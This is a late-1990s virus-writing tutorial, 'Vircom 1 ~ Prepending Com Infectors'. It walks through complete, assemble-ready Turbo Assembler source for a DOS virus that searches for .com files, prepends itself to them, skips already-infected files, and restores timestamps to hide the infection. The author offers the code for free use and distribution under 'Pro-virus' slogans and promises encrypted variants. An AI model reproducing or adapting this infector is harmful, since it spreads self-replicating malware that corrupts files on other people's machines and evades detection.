Vircom 1 ~ Prepending Com Infectors

[note 1]
This material is not to be used as a tool of destruction. I assembled this information as an educational resource and I would like to see it used that way.
[note 2]
In this tutorial I will cover the specifics of com infection. This is by no means a tutorial on assembler. Some working knowledge of assembly language will be required to fully understand this material.
[note 3]
This file is assembled with these switches.
TASM /M VIRCOM
TLINK /T VIRCOM
[note 4]
Written for Turbo Assembler, 80286 or better
[note 5]
Author assumes no responsibility for damage you may... [blahblahblah]

In Theory
The idea here is to add our virus code to the beginning of .com files, without destroying the original file, and restore it after the virus is done, so it can be run normally. Sound simple? It is!

1. Move the virus to a "safe location" to run from.
2. Restore our host to xxxx:0100 for execution.
3. Find a new host to infect.
4. Copy new host into memory at end of virus.
5. Write virus + new host to disk.
6. Jump to our host at original cs:0100h

Still sound simple? good...

In Practice
First thing we will need to do is relocate the virus code in memory. DOS memory is much like a book, with pages and lines. The difference is that we call our pages "segments" and our letters are "bytes". Each segment is a 64k block of memory, and each offset points to a specific byte within that segment. Any byte in memory can be address in the form of two 16-bit values like this 04f6:0100 (segment:offset). So, in order to move our code, we will point ds:si to the seg:off of the virus code, and es:di to where we are gonna put it. In this case we need to make sure we copy the virus to the same offset location for proper execution.

>     .model tiny				;crap for the assembler

>     .code

>     	org	100h			;all com files load at cs:0100h

>     size	equ	offset eov - offset begin ;calculate virus size

>     begin:

>     	call	entry			;jump past marker byte

>     	db	'F'			;marker

>     entry:

>     	push	cs			;store cs

>     	pop	ax			;ax = cs

>     	add	ax,	1000h		;add 1000h to cs

>     	push	ax			;and put it

>     	pop	es			;in es

>     	mov	cx,	size		;number of bytes to copy

>     	lea	si,	[begin]		;point si to beginning of virus

>     	lea	di,	[begin]		;and destination at same offset

>     	repnz	movsb			;move the bytes

>     The next piece of code simply creates a far jump to the code we just

>     moved into higher memory.

>     	push	es

>     	pop	word ptr[jmpseg]	;save segment value for jump

>     	lea	cx,	[virus]		;cx = offset to continue from

>     	mov	word ptr[jmpoff],cx	;save offset for jump

>     	push	cs	cs		;save code segment

>     This is the far jump we will use to jump between code segments.  0EAh

>     is the far jump opcode and the four bytes following are the segment

>     and offset of destination.  The address will be written in as needed.

>     (like above)

>     jump:

>     	db	0eah			;opcode for a far jump

>     jmpoff	dw	0000h			;offset of jump

>     jmpseg	dw	0000h			;segment of jump

>     Now that we have gotten this far, we have moved ahead in memory, and

>     stored the original code segment on the stack twice.  The next thing

>     to do is restore our host.  This can done almost exactly the same as

>     moving the virus, except that this time we will point es and ds both

>     to the original code segment, and set si to the beginning of the host

>     (at end of the virus), and di to the initial entry point at cs:0100h.

>     virus:

>     	pop	es	ds		;original cs into es and ds

>     	lea	si,	[eov]		;si = host

>     	mov	di,	0100h		;di = entry point

>     	mov	cx,	0ffffh		;number of bytes to move

>     	sub	cx,	size

>     	repnz	movsb			;move those bytes

>     The rest of what we are going to do for a while is only going to

>     involve the current segment, so we set DS and ES to the current

>     code segment value.

>     	push	cs	cs

>     	pop	ds	es

>     Now we will set a new DTA so that we will not destroy the data in

>     our host's dta.

>     	mov	ah,	1ah		;DOS command to set dta

>     	lea	dx,	[dta]		;ds:dx = seg:off of new dta

>     	int	21h			;call DOS

>     Before we can infect a file, we have to find one.  This is done using

>     int 21h ah = 4eh, and 4fh.  To find the first we use 4eh, next is 4fh.

>     The file to look for must be an asciz value slored at a location

>     pointed to by ds:dx. CX must contain the attributes the file may have.

>     00 = normal file, we will use 07h, it finds hidden/system/read only.

>     And for a filename to look for, we will use wilcard *.com to find

>     any com file.

>     	mov	ah,	4eh		;DOS command to find first file

>     	mov	cx,	07h		;attribs to look for

>     	lea	dx,	[fmask]		;ds:dx = file name to find

>     	int	21h			;call DOS

>     	jc	done			;if no file is found, we send

>     					;control on to the host file

>     The file handle we just found was stored in the dta at offset 01eh

>     from the start of the dta so we must load dx with [dta+01eh], and

>     load ax with 3d02h to open it with read/write access.

>     open:

>     	mov	ax,	3d02h		;3d is value for DOS function

>     					;"open", and 02h is for R/W

>     	lea	dx,	[dta+01eh]	;file handle is here

>     	int	21h			;call DOS

>     From this function DOS returns the file handle in AX.  Next step is

>     to read the host file into our buffer to see if it is already infected

>     or if it is over 64k (in which case we cant infect it).  We need the

>     handle in BX, so first we exchange the values of ax and bx.

>     	xchg	bx,	ax

>     Before we change anything, we are gonna get and save the file's

>     original time/date stamp so we can restore it.

>     	mov	ax,	5700h		;DOS command to get file's

>     					;time/date

>     	int	21h			;call DOS

>     	mov	word ptr [time],cx	;save time stamp

>     	mov	word ptr [time+2],dx	;save date stamp

>     The file handle is stored at BX, so we point ds:dx to the buffer where

>     we wanna read to, load cx with the number of bytes you wanna read.

>     The file size is stored in the DTA at offset 1ah from start of DTA.

>     We load that value into CX, and 3fh into ah for "read"

>     	mov	ah,	3fh		;DOS command to read from file

>     	push	word ptr [dta+1ah]	;file size is here

>     	pop	cx			;move it here

>     	push	cx			;and store it

>     	lea	dx,	[eov]	;ds:dx = read buffer

>     	int	21h			;call DOS

>     If the file is already infected, it will have an 'F' in the third byte.

>     If it is larger than 64k, the first two bytes will be 'MZ'. Either

>     way, we will abandon the file, and go find the next, if one of these

>     markers is present.

>     	cmp	word ptr [eov], 'ZM'	;is it an EXE in disguise?

>     	je	next			;if so, find the next file

>     	cmp	byte ptr [eov+3],'F';already infected?

>     	je	next			;if so, find the next file

>     If we are still here, then the file seems to qualify, so now we

>     restore the file pointer to the beginning of the file and write

>     the virus + file combination to disk.

>     	mov	ax,	4200h		;DOS command to seek the

>     					;start of file

>     	xor	dx,	dx		;zero bytes from beginning

>     	xor	cx,	cx

>     	int	21h			;DOS

>     	mov	ah,	40h		;DOS command to write to file

>     	pop	cx			;cx = file size

>     	add	cx,	size		;add the virus size to the

>     					;number of bytes to write.

>     	lea	dx,	[begin]		;ds:dx = beginning of data to

>     					;write

>     	int	21h			;call DOS

>     Now, before we close this file, we need to restore the time/date.

>     stamp.  A bunch of com files all dated in the last week are will

>     surely reveal the virus, AND which files are infected.  We saved

>     this info near the end of the virus.

>     	mov	cx,	word ptr [time]	;get the original time

>     	mov	dx,	word ptr [time+2];get the original date

>     	mov	ax,	5701		;DOS command to set file time

>     	int	21h			;call DOS

>     close the file...

>     	mov	ah,	3eh		;DOS command to close file

>     	int	21h			;call DOS

>     The infection process is done.  Now we clear out the registers, reset

>     the dta, and return control to the host program.

>     done:

>     	mov	ax,	0100h		;ax = 0100h

>     	push	ax			;

>     	pop	word ptr cs:[jmpoff]	;save 100h as offset for jump

>     	push	cs			;save code segment

>     	pop	ax			;ax = cs

>     	sub	ax,	1000h		;adjust ax to orig cs value

>     	push	ax	ax		;save it twice

>     	pop	es	ds		;ax = es = ds

>     	mov	ah,	1ah		;DOS command to set dta

>     	mov	dx,	80h		;ds:dx = orig cs:0080h

>     	int	21h			;DOS

>     	xor	dx,	dx		;dx = 00

>     	push	dx	dx		;save it twice

>     	pop	cx	bx		;cx = dx = bx

>     	push	ds			;save ds

>     	pop	word ptr cs:[jmpseg]	;as segment for jump

>     	jmp	dword ptr cs:[jmpoff]	;jump to host

>     This is the routine that will find another com file, if the first one

>     found is not a good candidate for infection. Same as the find first

>     routine, except that here ah = 4eh

>     next:

>     	mov	ah,	4fh		;DOS command to find next file

>     	mov	cx,	07h		;these attributes

>     	lea	dx,	[fmask]		;this file

>     	int	21h			;call DOS

>     	jc	done			;didnt find any? then quit

>     	jmp	open			;go to open it

>     fmask	db	'*.com',00h		;files to look for

>     dta	db	2ch 	dup (?)		;disk transfer address

>     time	dd	?			;stored file time/date

>     eov:					;This is where the host starts

>     	int	20h			;These two bytes get dropped

>     					;and replaced by the host

>     					;program

>     	end 	begin

Still sound simple?!? good... read my next article Vircom 2 ~Prepending exe's

In Retrospect
This virus is seriously lacking in the "accessories" department. I was merely showing a possible technique for appending to the beginning of files. I think alot can be done with it, like infecting exe's (next article), and memory resident, encryption...
This will be the first in a series of articles to be written based on this virus, and if you want to get the latest, email me, and I will send you updates as they are released. Actually, taking a second look back over the code, it seems that exe infection will be rather a minimal operation, so The next Issue will cover Encypted EXE prependers.
Remember, information is mean to be free, but not ripped. You are FREE to use and distribute this code, and any accompanying files, just leave credit be where credit belongs, and most of all...
~FEAR WHAT YOU HAVE CREATED~

email me at compkiller@hotmail.com
Pro-virus '99 [have you hugged yer virus today?]